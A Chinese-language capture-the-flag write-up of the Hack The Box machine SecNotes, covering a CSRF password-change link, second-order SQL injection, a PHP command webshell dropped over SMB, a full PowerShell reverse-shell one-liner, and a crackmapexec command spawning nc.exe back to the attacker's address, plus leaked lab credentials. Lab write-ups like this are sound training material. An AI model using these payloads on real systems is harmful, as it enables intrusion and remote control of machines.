HTB-SecNotes

请添加图片描述

信息收集

在这里插入图片描述
在这里插入图片描述

8808端口

Windows IIS 10.0
在这里插入图片描述
可以从官方文档查看10.0版本可能的操作系统。

在这里插入图片描述

80端口

通过CSRF获取

在这里插入图片描述

目录扫描发现需要登陆后继续进一步操作啊。
在这里插入图片描述
对其进行简单的SQL注入测试。此外还发现如果没有此账号会出现No account found with that username.可以借机来判断拥有哪些用户。
在这里插入图片描述
此外还有一个注册业务。
在这里插入图片描述
在这里插入图片描述

由于GDPR,所有用户必须删除任何包含个人身份信息(PII)的注释。
如有任何问题,请使用下面的联系链接联系tyler@secnotes.htb。

从这段话里能收获一个用户tyler。
接着测试一下New Note功能。
在这里插入图片描述

在这里插入图片描述
哈,我干了啥?
在这里插入图片描述

暂不清楚还是小心为妙,去验证一下tyler是否存在,如果存在就会说明密码不可用。
在这里插入图片描述

OK,现在有两个问题。一是如果目标是用的是关系数据库比如Mysql等,可以考虑从登录的select语句、注册用户的insert语句、修改密码的update语句注入。二是如果目标是用的NoSQL,那么可以考虑利用正则表达获取密码。
此外我还发现如果操作过快,比如点击修改密码后快速返回上一个页面就会触发检测器。

在这里插入图片描述

根据前面目录扫描结果判断为NoSQL可能性较高,当然也可能是障眼法引诱我掉入兔子洞。

在这里插入图片描述
在这里插入图片描述

先试试在登录处NoSQL吧。
在这里插入图片描述
可能注册和登录会有一个二次注入不过等会再试,还剩下一个联系我们。
在这里插入图片描述
随便输入后提交。

在这里插入图片描述

在这里插入图片描述
在测试时发现如果发送文字内包含了一个链接,那么目标的某个脚本回访回访问连接。

在这里插入图片描述

连接被访问。
在这里插入图片描述
可以试试CSRF(Cross Site Request Forgery)跨站点请求伪造。简单来说就是让目标点击恶意网站并执行构造好的脚本。当前环境下目标不想做的恐怕就是修改密码了。所以来构造一个使目标修改密码的payload。
在这里插入图片描述
试试转化为GET能否发送。
在这里插入图片描述
答案显而易见。
在这里插入图片描述
payload如下:

http://10.10.10.97/change_pass.php?password=123456&confirm_password=123456&submit=submit

利用Contact Us发送XSRF payload。
在这里插入图片描述
利用成功,使用tyler:123456登录目标。

在这里插入图片描述

通过二次注入

注册用户’or 1=1#后登录。注册了一个用户 'or 1=1#,进入select语句 select notes from table where username = '‘or 1=1#’在这里插入图片描述

有三个Note,分别是迷你的粘性面包的配方、年份、还有tyler / 92g!mA8BGjOirkL%OG*&
在这里插入图片描述
使用获取的凭证登录smb服务。
在这里插入图片描述
有一个new-site目录我们拥有读写权,这就意味着有机会通过写入webshell或者reverse shell。

在这里插入图片描述
iisstart.htm不就是8808端口的么。

在这里插入图片描述

立足

<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
    if(isset($_GET['cmd']))
    {
        system($_GET['cmd']);
    }
?>
</pre>
</body>
<script>document.getElementById("cmd").focus();</script>
</html>

在这里插入图片描述
使用payload连接。

powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.10.14.31',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

收集信息。
在这里插入图片描述

tyler -> administrator

在tyler的desktop目录下有一个bash的快捷方式。
在这里插入图片描述
C盘根目录下还有一个Ubuntu的压缩包。
在这里插入图片描述
C根目录下的Distros
在这里插入图片描述
查找刚刚的bash.exe具体在哪里,运行没用。
在这里插入图片描述
搜索全部可能。
在这里插入图片描述
运行还是没有结果。

在这里插入图片描述

可能是因为shell问题。
在这里插入图片描述
使用nc后就正常了。
在这里插入图片描述

在这里插入图片描述
查看linux的历史,发现了管理员账号信息,似乎管理员在把windows上的共享目录挂载到linux上,经过测试发现他确实做到了。
在这里插入图片描述
administrator%u6!4ZwgwOM#^OBf#Nwnh有点乱,试试就知道密码是u6!4ZwgwOM#^OBf#Nwnh,可以通过smbclient直接拿到flag。
在这里插入图片描述

想通过evil-winrm拿到shell,可惜失败了。

在这里插入图片描述
那还有什么办法么,那当然有。可以通过crackmapexec来完成。
在这里插入图片描述

crackmapexec smb 10.10.10.97 -u 'administrator' -p 'u6!4ZwgwOM#^OBf#Nwnh' -X 'C:\inetpub\new-site\nc.exe -e cmd 10.10.14.31 4443'

在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值